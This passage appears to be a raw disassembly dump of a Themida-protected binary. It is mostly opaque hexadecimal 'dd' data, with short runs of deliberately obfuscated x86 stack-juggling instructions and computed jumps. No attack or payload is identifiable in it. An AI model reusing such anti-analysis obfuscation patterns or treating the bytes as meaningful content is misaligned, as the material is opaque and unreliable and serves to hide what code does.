0BA0988DCh, 18878FDDh, 2453ED1h, 1E46D3F1h, 0C2456673h dd 1B2A4688h, 0E8DE8BE0h, 0B36E7536h, 4A17D102h, 0FAE687Bh dd 0B9D88AC2h, 29DC950Eh, 0FF92DD3Ah, 560839A0h, 803FAA6h dd 92D2458h, 0A9FCA5A4h, 464D075Ch, 3AEh, 0BFEBF200h, 3251035Ch dd 9736F0E3h, 5B62144Ah, 8201BB0Eh, 5E651F33h, 8201BB0Fh dd 68671933h, 6B12C419h, 51702A1Eh, 0E1895194h, 4C181h dd 0E9830000h, 240C8704h, 2404895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 6C38h mov [esp], edx push 35ECh mov [esp], esi mov esi, 6161162h mov eax, esi pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push eax sub dword ptr [esp], 2E8967E5h pop dword ptr [edx+8] add dword ptr [edx+8], 2E8967E5h push dword ptr [esp] pop edx add esp, 4 mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_55FF58 ; --------------------------------------------------------------------------- db 82h ; --------------------------------------------------------------------------- inc eax fcom qword ptr [ecx-7FDA8F1Ah] loc_5AD157: ; CODE XREF: Themida_:loc_5AC56Ej mov eax, 6161C5Eh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 23299410h, 5891523Bh, 1BE2F7FDh, 7B032D3Dh, 4314494h dd 406ACDB8h, 484BCEAFh, 58A46F89h, 6E891024h, 21C46643h dd 0EE2604h, 56C61BDEh, 56CE9B88h, 5879C514h, 0AE8h, 0D23B0F00h dd 417A36Ah, 0E9F3B9B2h, 0Dh, 4F764AD0h, 925D145Ah, 0BD3C6A25h dd 0CF815A2Fh, 55D6B721h, 70E2C281h, 8B660000h, 68DAh dd 81660000h, 595276EBh, 8E8h, 520F8600h, 978CD528h, 5BDDB314h dd 660A048Bh, 0E880D381h, 0ABA8F081h, 8D0F384Bh, 6, 0B123B660h dd 0C0816171h, 3F80C2F3h, 9EACF081h, 50FC4523h, 0AE9FD681h dd 48F0D01h, 0C8B0F0Ah, 0E9000000h, 7, 0B0DCD18Bh, 0FC374A2h dd 382h, 51C38000h, 6604E983h, 814DA8BEh, 0FF8FF4F9h, 0C850FFFh dd 0E9000000h, 2Fh, 281C1BDCh, 0E90D440Fh, 13h, 45C7AE78h dd 6A184759h, 20D698B1h, 2AD55634h, 0E9A0ED95h, 0FFFFFF78h dd 0DF3B7A58h, 92AEDDA1h, 0E97599D8h, 0B9h, 3E99A39Ch dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h dd 162AE900h, 0B4680000h, 0E9061620h, 0FFFA6194h, 1621C868h dd 618AE906h, 0BD68FFFAh, 0E9061622h, 0FFFA6180h, 16247368h dd 6176E906h, 0F268FFFAh, 0E9061624h, 0FFFA616Ch, 1625D568h dd 6162E906h, 8C68FFFAh, 0E9061626h, 0FFFA6158h, 16278D68h dd 614EE906h, 2468FFFAh, 0E9061628h, 0FFFA6144h, 16296168h dd 613AE906h, 5C68FFFAh, 0E906162Ah, 0FFFA6130h, 162BE768h dd 6126E906h, 0A868FFFAh, 0E906162Ch, 0FFFA611Ch, 162E4968h dd 6112E906h, 8468FFFAh, 0E906162Fh, 0FFFA6108h, 16313568h dd 60FEE906h, 3268FFFAh, 0E9061632h, 0FFFA60F4h, 62D619B9h dd 42F62DD3h, 59D50EB3h, 3CF02DE2h, 10CC0BBDh, 0C87CEE1Ah dd 0A346D589h, 0BB6FE662h, 964DCC80h, 0FE02ED61h, 0DA63B70Bh dd 0CA524F6Bh, 2A447932h, 39B9F9AFh, 0AFC01AC0h, 0EFAFCCA8h dd 0A85F2FD8h, 0D60BB473h, 0D2E13EFAh, 1734F709h, 0EF67FCE2h dd 6ED87F73h, 8D943CA2h, 579A5FF6h, 37397A4Ch, 42h, 1EBD5C95h dd 2A7324Ch, 8459DDC9h, 0FC7CAA87h, 0DEF06C67h, 972BDE00h dd 6F942383h, 83BE04F3h, 0DA569423h, 0EC5A01FDh, 0F942383h dd 5C4C3C31h, 0E87A7807h, 54913013h, 397B4379h, 0E659h dd 4D7B300h, 0F36F235Eh, 71A65DD6h, 23620685h, 28E3FD6Fh dd 6DCC7C9Ah, 12C99E7Ah, 59702459h, 0AC17DB2h, 6DCC0182h dd 0BD8FC47Bh, 390E47FEh, 0F4DF685h, 3005014Eh, 64103440h dd 8D35F40Ah, 6992332Eh, 868DF00Dh, 2DD914BAh, 0A1DC9249h dd 7B5571F5h, 3589390h, 0E49C3398h, 597DF9ADh, 0E1D2FBE5h dd 0F2CB72CDh, 8E25B895h, 0CEC2FBB2h, 0DD5C6E52h, 4DCF126h dd 1591AC05h, 0DCEE6A9Eh, 0F06CAB5Dh, 0E388C769h, 4034F85Ah dd 91697A2Ah, 7E000013h, 46D589CCh, 64F3679Eh, 51C884BDh dd 6EED619Eh, 0C9BF7BBAh, 5E9D4FBDh, 79BA6BEAh, 559036C5h dd 74A962D9h, 40EBD5B8h, 6BDA5C82h, 0D7BF8562h, 3B1B2496h dd 2F41371Bh, 0CCC3C67Ch, 25421E6Dh, 0FFBBFAAEh, 1E9ACF78h dd 0DB67223Ch, 3B6DCCC3h, 5C420ADFh, 5D4C1EBDh, 67FC7C74h dd 847E970h, 5433181Ch, 52B20364h, 51CDCDAAh, 0C1A2CBA5h dd 0B7889217h, 0AF63A445h, 75188FB3h, 7E44034h, 3C74A21Ch dd 93324194h, 7B2D7B56h, 0E25B39h, 32B10000h, 542A4479h dd 0CC7CED55h, 502D096Dh, 702DC4Eh, 6DCC7CBBh, 0BFB3EE94h dd 9AAFAB63h, 71276F21h, 2981E6D3h, 4413FFE3h, 6DCC60C4h dd 0E5598E35h, 8C78AD56h, 0BA32A037h, 5FA49944h, 0DFCAA4C0h dd 67FCBBC2h, 6FD488E4h, 348E7D68h, 0D0943CDFh, 6D5E7054h dd 0A85F7266h, 0B6A37F73h, 0C077F5E5h, 0C8B0CD0Ch, 0AD161E1h dd 0D7A9859Eh, 0AD216004h, 8E3B7A2Eh, 40353E87h, 7D2ABB6Bh dd 6A000012h, 52C985C8h, 70E7639Ah, 4DCC80B9h, 5AE15D9Ah dd 0C5C377B6h, 5A994BB9h, 75B657DEh, 518C42B9h, 70A55EDDh dd 3CEFD1BCh, 6BDA5D86h, 0D7BB815Eh, 7C4002A9h, 87826DCCh dd 6DCC7C3Bh, 938F7FDBh, 714BFDB6h, 0EB5F83BCh, 863CEF11h dd 5E6DCC7Ch, 0B56EE502h, 0F9F2CC80h, 0BDE1787Eh, 0FAD2A7D0h dd 265B04D7h, 5AE1F67Ah, 11887CB1h, 32A9255Ah, 374E427Bh dd 0FDDF5B90h, 0A843893Eh, 0B79BB75Fh, 7DF9ADC9h, 0E7F0B660h dd 6AF10BD0h, 0AB5383C1h, 0D8098C00h, 0DC9108FCh, 0D6AABFA3h dd 0FC114ED3h, 490C6867h, 0B22025A2h, 4695248Ch, 0D98C7534h dd 536A6599h, 47B6CAEh, 0CC750D8h, 1C383CE8h, 99D27742h dd 1CD289EDh, 201A0CE1h, 671DF799h, 4601430h, 5C7F96E7h dd 0A1A18782h, 5619BAEh, 82B770EBh, 63984FC6h, 0A90F61F6h dd 6C7D2945h, 1188h, 1692D575h, 0F6B2E99Fh, 1D91CA7Fh dd 30ACE99Eh, 14C807A9h, 0D478EA16h, 0EFA21995h, 0C77BFAAEh dd 0A249D08Ch, 2FEF16Dh, 0DA5EBB07h, 0B67E5B6Bh, 50447932h dd 75875463h, 0CB6758Bh, 0E86DCC7Ch, 0DFB46F8Ch, 0B767FC1Eh dd 13A2FFBBh, 16F3B6C8h, 0CE9E13DCh, 3D1A590Bh, 4C0FE13Dh dd 0C8AC5899h, 70245B11h, 8027D7F4h, 9E13A4C6h, 8D79B257h dd 7420550Eh, 0DFED8417h, 3E67D36h, 3F8B5DAAh, 9E8Ah, 0A9D70000h dd 0CC7C4002h, 11C8A46Dh, 0BA4B205Fh, 2BAEC01Bh, 52493D76h dd 0AFB35F9Eh, 0BCA2B693h, 6DC5E68Fh, 304DD01Bh, 0FC824E73h dd 10B38667h, 673A1FD3h, 9B4FF81Eh, 0E14E90Dh, 0EA96D577h dd 2EEB257Dh, 0B195E8D3h, 4A00BB95h, 0FAC19B0Fh, 8DC87E54h dd 2B99D99h, 513A0F4Eh, 94231EF3h, 8CC16AF1h, 0FD3BE46Fh dd 3250F907h, 0D3772E62h, 6C88EC98h, 0EFC569F0h, 3DECFE3Dh dd 94239E85h, 35E10561h, 6C01123Bh, 4FBC7252h, 6784609Bh dd 106FFAh, 3DC50600h, 7D201646h, 5CA12B40h, 5D4C1EBDh dd 67F61A21h, 2769209Bh, 4801F05Ah, 44301482h, 1B170BE0h dd 9CD17A41h, 0C7F29920h, 66154CF4h, 9425B7DCh, 46183C38h dd 0DE92D173h, 0E320C382h, 0CAB1806h, 0A50EFDCFh, 619E1FD1h dd 0B770EB05h, 65F4C682h, 53087DC1h, 0EE567653h, 853EF5D2h dd 0A313AF5Ah, 0DAD19E1Fh, 9E1FA368h, 8EE0908Ch, 1FA3279Bh dd 7F63BF9Eh, 0FEBDAF63h, 3AF10B4Ah, 9E1FA388h, 8ADBF06Ch dd 0AB5E706Bh, 942FDA9Ah, 0C4630864h, 0C85E2B40h, 0FD2CBDCh dd 0FBF0000h, 0E38910CCh, 4A930ACh, 0E3880FCBh, 1A332A6h dd 0E42006C2h, 1793D276h, 30ACEDA0h, 0ECA05A9h, 2FABE087h dd 0F949403Ch, 1D6BDA58h, 4402F4C0h, 7E6DCC7Ch, 0D9CD06BBh dd 0EFD30AC2h, 6F6C8BDAh, 1A7DAE5Dh, 2D0967F6h, 0FDF8853h dd 8844205Bh, 0E28A5A11h, 9D4CF6B5h, 0CCA89425h, 0EBD8CCA8h dd 4E3D0FCCh, 9E15FF25h, 0C45FCBFh, 3B3F1C18h, 2A997ADFh dd 0EDB94031h, 0F53FCh, 4B8E4000h dd 2960088Fh, 467F26B5h, 23600392h, 3D7C30A7h, 0D7F8B81h dd 19A01C5Bh, 0F4833778h, 2097134Eh, 93763267h, 584002A9h dd 47A46BDAh, 3B79327Dh, 9102CB55h, 530CCB49h, 374E421Eh dd 0CC0DC090h, 0ABCDFCA8h, 25427730h, 60DBFF96h, 0A55A6FAAh dd 336A584Ch, 7517A2BCh, 3FE64A36h, 6DCCB683h, 0A81A1163h dd 4C6DCCB6h, 71D7F4D0h, 971h, 1EBD5CDBh, 5D78D4Ch, 2A3F2364h dd 1A955356h, 0E20B67F6h, 30D6C6F7h, 382501F5h, 36137255h dd 4316E844h, 64F3679Ch, 777486BBh, 608A92D5h, 33F30878h dd 257FDA64h, 547E9594h, 0BA85FDDAh, 337013DBh, 0E3FFE33Fh dd 8E34F709h, 6694251Ah, 4AD70901h, 0E80CB254h, 553EED13h dd 319E15FCh, 96BAF39Ah, 312A5A31h, 0D5BED640h, 0E70h dd 0EE6AAD5Dh, 0CE8AC167h, 0F569A247h, 0C884C166h, 0EC609F51h dd 9C5082FEh, 0B75AE15Dh, 8F33C276h, 0AA61D854h, 0EAD6B975h dd 0DA59833Fh, 0BE86636Bh, 50447932h, 0A95D9239h, 0DC6D5E22h dd 89537715h, 0C8673C11h, 6A36E42Dh, 8B3C433h, 2060000h dd 6DCC7C44h, 15E7F403h, 0F61A1616h, 98B2AE67h, 97F4AB3h dd 88650BFBh, 0E9708E70h, 1C180C43h, 2559D56Dh, 18353194h dd 6B14E49Bh, 0BC9E1A36h, 0AE07A98Fh, 0D3A441BBh, 1FA580A1h dd 0DECD9FC3h, 9425ED64h, 0CC7A480h, 7D721E53h, 0A08B6576h dd 9E158FF3h, 0C45FC93h, 93381C18h, 4031FBF6h, 0B97D663Eh dd 0A600000Dh, 8E0DC104h, 0AC2B9FD6h, 7900BCF5h, 962599D6h dd 11F7B3F2h, 0A6E587F5h, 0C102A332h, 9DD88E0Dh, 0BCF19A21h dd 78330D00h, 6BDA5ACAh, 32E7AD2Ah, 412A4479h, 0EF3A6Ch dd 3BF6A37h, 0E36DCC06h, 908E6B87h, 691D52F9h, 9084B972h dd 6D1956F9h, 0C8F48B30h, 0C623C201h, 336AAFEBh, 7E8CBh dd 4D74100h, 0F26E225Fh, 0CF7188D5h, 65A64719h, 0E591B5B1h dd 18F05C81h, 5D58076Bh, 99A46779h, 7167F6BAh, 3605DBF5h dd 8584568Fh, 9426FD3Dh, 0B3805DD9h, 0C805D70Ch, 688352D0h dd 0A749000Ch, 0A3B8BC68h, 411F411Bh, 2601F84Ah, 59401C94h dd 942601E9h, 18240EBh, 6629426h, 0E89B1A16h, 5E7BF7ABh dd 0DF92ED5h, 2601E05Eh, 0C6F1DA94h, 2665079Dh, 0FC5D7641h dd 26F3B50Dh, 0F1D55194h, 7B6A89DCh, 26F33290h, 7A56D294h dd 91C8A960h, 52CE9E16h, 32F922E5h, 0D968E40h, 0CB8h, 6C205A5h dd 26A2D98Fh, 0DC1FAAFh, 209CD98Eh, 4B8F799h, 0E488FA06h dd 0FFB229A5h, 0D78B0ABEh, 0F299209Ch, 320E01BDh, 0DA5BCB77h dd 0E6AE2B6Bh, 50447932h, 0BC29239h, 71B253D2h, 0A91AA155h dd 2A1EEF0Ah, 0FEFE336Bh, 4C000006h, 0CC7C4102h, 0EAF1086Dh dd 1A011910h, 0C9A567F6h, 5A12C9B7h, 0D6F36F23h, 0BD71A65Dh dd 78B158E3h, 5F2FD863h, 15B86FACh, 204420D4h, 63787F74h dd 3EE47789h, 36130F03h, 15E30C4Dh, 0F95EBA9Eh, 40314820h dd 21138490h, 0E00000Ch, 16A5195Ch, 0F483376Eh, 2198144Dh dd 0FE7D316Eh, 594F0B4Ah, 0CE0DBF2Dh, 0E92ADB5Ah, 540E675h dd 0E419D249h, 907B8568h, 6BDA5432h, 324FD5D2h, 39504479h dd 4A835D92h, 0D7239B34h, 0AE708D32h, 0A2BCAD9h, 0EDB02C61h dd 336AF224h, 0E522C594h, 0B0183531h, 159h, 4479321Ah dd 0BFFCAF2Ah, 8C7A4FD3h, 0F105B9B2h, 153E5356h, 8FC47B38h dd 0AC2FC61Bh, 7B2DACD2h, 8CCB7D3Ch, 0C4BF9C98h, 67FC99E7h dd 84F431Fh, 943C0EBEh, 6A8F265Dh, 397AB7A7h, 0D480D617h dd 58B608D7h, 2ACD83h, 5C3F0000h, 5D4C1EBDh, 67FC7C74h dd 0BBEA9692h, 943C7C03h, 0B732D1E2h, 397B35F6h, 0F42FD366h dd 0D871D7h, 0CC8F0000h, 27FDDA17h, 50447932h, 86589739h dd 0F5D211B3h, 0A4D99209h, 0FD32D9F0h, 28328A41h, 540B6DCCh dd 0BF56AB1Fh, 9D1C421Ch, 42D9A7E7h, 0B252B27Eh, 0F2D2B98Eh dd 0F0980515h, 92A71B0Eh, 0D2789420h, 5E8BE797h, 63CCD993h dd 1EE4F90Fh, 53562842h, 94205DEFh, 2A4E2B07h, 0ACBEFDAFh dd 92F3CDBFh, 0F207BB5Dh, 0FC3BED6Ch, 499944Fh, 9B0C184Ah dd 0AE4h, 6ADE21D1h, 4AFE35EBh, 61DD16CBh, 44F835DAh, 58D413B5h dd 40E41672h, 1BCE4D01h, 33D75EDAh, 0EB544F8h, 966A65D9h dd 0DA552F93h, 62EAC76Bh, 225F04D7h, 5ED5F26Eh, 6E9862AAh dd 0A68AB6C7h, 0B96DD5D4h, 0AD896DCCh, 422B15C9h, 0D1065F55h dd 0FDB6938Ah, 0C39D1146h, 8854EE9Dh, 0B4B06DCCh, 79320D97h dd 0DCC807A9h, 11887C58h, 40A9255Ah, 501h, 2D96D78Ch, 7A4626DAh dd 0B1EA9F16h, 31AA499Ch, 0D57A411Fh, 17C8C398h, 0AF67FCEFh dd 2E98BFB3h, 0CD943C9Dh, 17DA1FB6h, 0F7397A55h, 254h dd 7C5F0255h, 0EB0A6DCCh, 352BDEF0h, 0CD67F61Ah, 1E2E3948h dd 0A1C5FBA3h, 822AB1CFh, 0FEDB574Bh, 0E6508E35h, 0C29D7918h dd 0A82FABC7h, 0E9D6CAFFh, 92D376CAh, 8C5E82DEh, 546E772h dd 642CEFD8h, 45224D3Eh, 155C1D5Eh, 20CDA99Eh, 4031CEBBh dd 0E9D2C3D3h, 0D6000009h, 0BE3DF134h, 0DC5BCF06h, 0E970EC25h dd 0C6550946h, 8167E322h, 0F635D705h, 0D112B342h, 0ED28DE5Dh dd 0C41EA71h, 0A8635D50h, 6BDA561Ah, 32179DFAh, 39504479h dd 4A835D92h, 0FF185C47h, 0F705D01h, 0A81944E5h, 0CF8C7A4Fh dd 530C15ACh, 0AED0AA1Eh, 0CC7F47FBh, 0A6C39F6Dh, 6B3320F1h dd 19A0033h, 0D74A0000h, 70245D04h, 932FDAF4h, 736DCC7Ch dd 0B259E2F7h, 5912897Dh, 0DD8F4A24h, 0B015C99Eh, 0F198B229h dd 67FC11C8h, 3C2EE23Eh, 0BA8FC87Dh, 239675D1h, 44DB9894h dd 7B4050A1h, 693039h, 304E0000h, 239EC979h, 1C312D94h dd 6004D790h, 3AF17521h, 0C9AD5994h, 19C251B4h, 87D17447h dd 0C0CD7D86h, 0D4C0A40Eh, 0A6657B50h, 67FC638Dh, 0B2F9AD89h dd 943C6214h, 564A8529h, 0DA518A3Fh, 1F06FA33h, 0AFBC160h dd 0C201A336h, 0A67552CEh, 0F6B5CB0Fh, 943C624Ch, 0E8AFCCA8h dd 397B1825h, 0CF05h, 8C40FB00h, 3294304Dh, 39504479h dd 2DAC5897h, 0E7253876h, 0F27B6A3Ah, 0FCA322CEh, 0F45413C7h dd 456DCC2Ch, 0BF5699Eh, 0B5619850h, 372824A8h, 8C689DF8h dd 0D4070E6Fh, 0FFAE4FAh, 6DCC85B3h, 9230D753h, 0AB6DCC85h dd 4ED2BEF5h, 0D3A5C29Eh, 0FA48E8D8h, 0B5230867h, 0C9C4A2B2h dd 7BC7C29Ch, 9B942270h, 0B7C9A3BFh, 21467B24h, 2A594806h dd 9A2136C7h, 7403B7F6h, 8D2C91D0h, 0A14A0691h, 85EE4F5h dd 9B4B0000h, 0AF55E458h, 9035C478h, 0AF54E357h, 8D3FB672h dd 90ECDA4Eh, 0BB6FAE62h, 9448893Ch, 0B2266105h, 93477C23h dd 5DE5A498h, 0B96BDA57h, 7E32703Ch, 0F5AE2D3Fh, 0A433ABC0h dd 0B7B4C6FBh, 47FA3A65h, 0A4E18658h, 9533ABC0h, 245D04D7h dd 95D38C47h, 81AF79A4h, 4BF1D64Dh, 6A0F4673h, 5A256C51h dd 820CDA32h, 6C13B25Eh, 7E028337h, 7A000002h, 4C1EBD5Ch dd 0F61A2D5Dh, 0C9BDB967h, 259E24A2h, 15ACC794h, 8153FDD0h dd 22EDD39h, 22F0000h, 6DCC7C5Fh, 0DEF0EB0Ah, 0F61A672Bh dd 29431F67h, 8C4F9B2h, 0F1A5DA91h, 14E6F504h, 15E05415h dd 0D176F29Eh, 40314AF0h, 9DF3E4B0h, 8A000007h, 0B229A5E8h dd 9007C3FAh, 0AD2CA0D9h, 7A01BDFAh, 252397D6h, 0BAF9ABD9h dd 95D677FEh, 0B1ECA219h, 90C57EFDh, 5C4F311Ch, 6BDA50E6h dd 321BA1FEh, 0DE504479h, 6822EFEDh, 0EB00D264h, 45E7B770h dd 3A161A06h, 0F74B3E20h, 486DCC69h dd 0B6BA66A3h, 918D6AC6h, 0CE08A7BCh, 6D195A0Bh, 77C1E400h dd 9EDBB6Fh, 0F0C067F4h, 75AA613Dh, 0A5C1A551h, 0F79B7629h dd 817B336Ah, 0D1000001h, 50447932h, 69AA5BDEh, 17A4B9BDh dd 9D7F3B70h, 422E671Eh, 5D7C09DEh, 97926C7Eh, 6DCC7C2Bh dd 667A4FCBh, 0FC1186A3h, 0F0A48067h, 0CA09BB7Eh, 0E2C951D6h dd 2E64368Ah, 0F04E3512h, 139423DBh, 0C805C160h, 8A1F943Ch dd 0A55BDA2Ah, 4BA6596Eh, 2B397BB6h, 4Dh, 0A2E38655h, 11B372EEh dd 5C2FF5D2h, 5D4C1EBDh, 67FC7C74h, 0F5C49692h, 5CE4104Eh dd 0F1877377h, 73B256D5h, 4501A856h, 0DA943C94h, 0B80A0136h dd 5C943C94h, 9930E400h, 0D9CBB7F8h, 54458B2Ah, 8C65801Fh dd 6C397A4Dh, 0CEh, 447932DEh, 58973950h, 0A6762DACh, 5CCEC203h dd 0CC7C15ADh, 5175F16Dh, 610A8175h, 23F9B02Ch, 0FC6DCCF6h dd 459A0E43h, 2D532DAEh, 0FAEA5853h, 0E0A9233h, 33FADB67h dd 0ADF3B92h, 370D33F6h, 89E59805h, 53CE477h, 20381511h dd 0A6B8F799h, 0C6548DA5h, 226D58E6h, 0B821469Ch, 0FC7A449h dd 0EA58532Dh, 0A942027h, 4C161305h, 4420503Ch, 0B9F8AC27h dd 4348914h, 28B1654Ah, 5FCh, 520649E9h, 72E61DC3h, 49053EE3h dd 6CE01DD2h, 40FC3BEDh, 18CC3E4Ah, 33D665D9h, 0BBF36F2h dd 26DD5CD0h, 6E523DF1h, 0DA5207BBh, 3A02DF6Bh, 2D3F7E32h dd 90BDF8AEh, 424B4D08h, 793D1A71h, 0F9C2A6A7h, 314D3799h dd 0B3E89F1Ch, 793271F7h, 92395044h, 3268E15Dh, 0D4000000h dd 5B4E7932h, 6DCC7CE7h, 533F23FFh, 0AA568B34h, 98936D0Fh dd 6DCC7C2Ah, 0AA794ECAh, 0FAB1CF0Bh, 6DCC7C48h, 209BB0ACh dd 0D763267h, 30h, 0A96D77Fh, 8C3D51E9h, 0E2895227h, 15B2F9ADh dd 0FD6DCCBAh, 30AB2FC6h, 0D0544079h, 528740FBh, 0A7675378h dd 826EAF62h, 9BFAB99Eh, 3FCD9166h, 2A447932h, 0AE54941h dd 0A2B7A5ADh, 0CA080FE4h, 1258A907h, 58724E6Bh, 0F6CFD5B1h dd 9BB5B167h, 76326720h, 0D17848FFh, 7FC3C698h, 979426CAh dd 0F6CBB79Bh, 27E2FCDFh, 9E1CAC8Ah, 633DEF6Ah, 0B35F83C0h dd 885E8AAFh, 0FFE95DFDh, 223C38EAh, 375B2429h, 0A9BEAE9Eh dd 265B04D7h, 477C23B2h, 834F665Bh, 0C8AB3FACh, 0AAC4A0B3h dd 281BCEFFh, 0AF1C1894h, 5E2C8222h, 0C1891A0Ah, 0AE000004h dd 7605B9FCh, 942397CEh, 81F8B4EDh, 9E1D91CEh, 392FABEAh dd 0AEED9FCDh, 89CA7BFAh, 65A046D5h, 84B972E9h, 30DBE5C8h dd 6BDA5392h, 32AF7572h, 0E75B4E79h, 0FF6DCC7Ch, 0C8B3F23h dd 1F4C1E53h, 8726D731h, 1486D0B9h, 205F5E2h, 5848257h dd 5E7D295Eh, 22B96DA8h, 2C3F336Ah, 1BD0FC93h, 9F48E988h dd 0D05B906Ah, 70A8FBAh, 6B97D5Ah, 336AF4ABh, 458Bh, 0BD5C0100h dd 645D4C1Eh, 8267FCCAh, 0D4AAD4A6h, 23CE6DD5h, 0D0AD8994h dd 4A245F03h, 6BB5521h, 0ACF38D6Ch, 0FC5AABE5h, 5509DE02h dd 23632E96h, 0A48FF94h, 9C05C856h, 28A4C01Ah, 0CEC2FDB1h dd 403C5h, 96D73700h, 0C456E9FDh, 0CC7A436h, 324C1E53h dd 0CCE6CB77h, 52392B6Dh, 6DCCE6F0h, 1F3C1814h, 8ABF685Fh dd 0B96DECCEh, 0B98E927Eh, 7C4E8D2Ch, 0FC8BAC8Dh, 12FE5A67h dd 3CF8FB43h, 0CA691A94h, 7AA5DE2Fh, 3DBE39h, 0D70C0000h dd 472B1096h, 28155F47h, 5E458912h, 98E502E6h, 89805A81h dd 67FC74A8h, 57FEF26Eh, 943C7BEFh, 1BDE750Eh, 397B2ED2h dd 0D56D1C42h, 31942387h, 9AB6F79Ah, 0A70BBDh, 32810000h dd 542A4479h, 0CC7CED55h, 502D096Dh, 5695374Eh, 3F742BAAh dd 0AC62D953h, 28DF5C71h, 89037F3h, 966DCC01h, 8701C168h dd 89E59233h, 0B40E774h, 0EA1FC84Fh, 0B12AC936h, 0F42FEC9Fh dd 5BD79803h, 687382DFh, 3AF16896h, 38151105h, 155C7F4Bh dd 0D1AB879Eh, 0B327660Ah, 0FDA68024h, 7C58DCC8h, 35A6D8CFh dd 0D7C0D440h, 310h, 4E0A4DFDh, 6EEA21C7h, 550942E7h, 68E421C6h dd 4C003FF1h, 0FCB0225Eh, 0D77A01BDh, 0EF932296h, 0CA81F8B4h dd 4A361995h, 0DA4DE35Fh, 1EA6036Bh, 8B3F7E32h, 0AA1E530Ch dd 1EBD5C1Ch, 0C139324Ch, 15A192B4h, 58EAA1BBh, 0BC6DCC5Bh dd 0B3A08B60h, 5367FC5Bh, 8C8ED3CEh, 2440661Ch, 0A71F214Ah dd 391C8840h, 51765A95h, 62CE8C8Dh, 39E50275h, 3CDAD472h dd 27393794h, 3CDADE64h, 203A3694h, 3CDAD969h, 0CE13D94h dd 945D9837h, 74397A8Fh, 0B3h, 0AA96D7D6h, 0D47AB1CCh dd 0A14A11E6h, 85C6B86Ch, 644B8110h, 54DFFCE2h, 0D68571B0h dd 6DCC1A56h, 0B1CB00A7h, 6A66DCCFh, 0A27E6DCCh, 0E18A11C5h dd 0EC0BF8ACh, 0ED2EDDEFh, 9967FC19h, 994CBE94h, 765AAC0Eh dd 0EA565DC2h, 171B0746h, 0B16A213Bh, 559E0A5Fh, 903407D9h dd 0AA5EDD51h, 0AF9DFE6Bh, 0F9AD4036h, 213F0h, 0B4E0000h dd 0E920C84Fh, 63FE675h, 0E320C352h, 0FD3CF067h, 0CD3F4B41h dd 0D960DC1Bh, 0B443F738h, 0E057D30Eh, 5336F227h, 4E00C269h dd 7E46BDAh, 3F7E323Dh, 862AB18Bh, 2A93247h, 0AC2F11CDh dd 0AB8EBBF6h, 0C3C0B4B3h, 0D7FDC7A4h, 75216004h, 8C78AD56h dd 24AFCCA8h, 0B9FAAB7Bh, 0EE9DC39Dh, 6DCC7C54h, 0AFC3B07Bh dd 0EBA3DDC5h, 34309279h, 58D46DCCh, 289F5F7Ch, 0BDFEAF7Fh dd 39EE6DC9h, 482C08FCh, 6AD73536h, 0BBBFAD80h, 0EAA1189Eh dd 0EC6FC1B5h, 2D09FD34h, 0B526AD50h, 26A3F09Bh, 7A4167FCh dd 0BBBF9CD1h, 9221B35Fh, 4E7932F3h, 3C69E75Bh, 3F23FF94h dd 0EA58532Dh, 0A943C69h, 9B85390Eh, 0CFD290B2h, 0E603E565h dd 815B8097h, 0C5B218Ah, 9D89E59Eh, 641045FEh, 84DB7A49h dd 0C5946675h, 0EF11E621h, 7E54DC11h, 9B0FCDFFh, 8674FAEh dd 9CB185B3h, 1CFC4AEFh, 6F57BC94h, 8CF6E441h, 3DF1CCFh dd 0AF639E44h, 0FEBD8FB3h, 11160A4Bh, 0F5B17AAEh, 76536F49h dd 0C29239C0h, 3E22CE0Fh, 0B3576E22h, 5B656678h, 87AE0498h dd 0FFE995B2h, 0B229AD44h, 54D0C4F9h, 3303BC77h, 0C1A55192h dd 5810CBA5h, 73E87521h, 5FD7E862h, 0D28C6185h, 5B75666Dh dd 2C9EE3B0h, 0DBC7A38Ah, 22CE03BCh, 0ED6201B0h, 30DBF5E6h dd 803C4263h, 2E934723h, 6F1A34A7h, 864623C6h, 9930E440h dd 1F01BDF2h, 0D4A9E89Ch, 0DA906007h, 88CFC39Fh, 0EFE5880Ch dd 223C2E1h, 0ED7B0B49h, 0CD078FD8h, 5B04D7A9h, 0E8D5126h dd 0C37F2A55h, 23CEC624h, 5772B47h, 77549136h, 0D6CA07BCh dd 25D10ABFh, 0DCC8FDA6h, 349837CAh, 0B7BFAC82h, 5FC39C84h dd 40DFC499h, 0B25A2AE1h, 0F9E3577Bh, 0E69E24E7h, 5554CEC6h dd 0CEC6E6EDh, 0F9752D09h, 72B057E4h, 419946BAh, 4B371BABh dd 8BC26AF1h, 12F36Eh, 0D7490000h, 7C4002A9h, 0C8A46DCCh dd 71255A11h, 0C288D8F5h, 493D8032h, 0B0649952h, 463A7519h dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h dd 55417830h, 0E28952CFh, 4BF57h, 0FA010000h, 4EA835Fh dd 5C241487h, 5A5F68h, 24348900h, 3CE668h, 241C8900h, 0A742B7BEh dd 17BB5354h, 81216762h, 0CD7301F3h, 2EBC135h, 5887F381h dd 0DE01B444h, 4EC815Bh, 89000000h, 4832424h, 835B0424h dd 348904ECh, 242C8124h, 778142D9h, 8108438Fh, 42D90843h dd 34FF7781h, 0C4815B24h, 4, 5324348Bh, 0C381E389h, 4 dd 8704C383h, 0E95C241Ch, 0FFFA4B7Ch, 70EE92FCh dd 0BB07BBDh, 16346AB8h, 0FFC50306h, 79D519E0h, 6136D263h dd 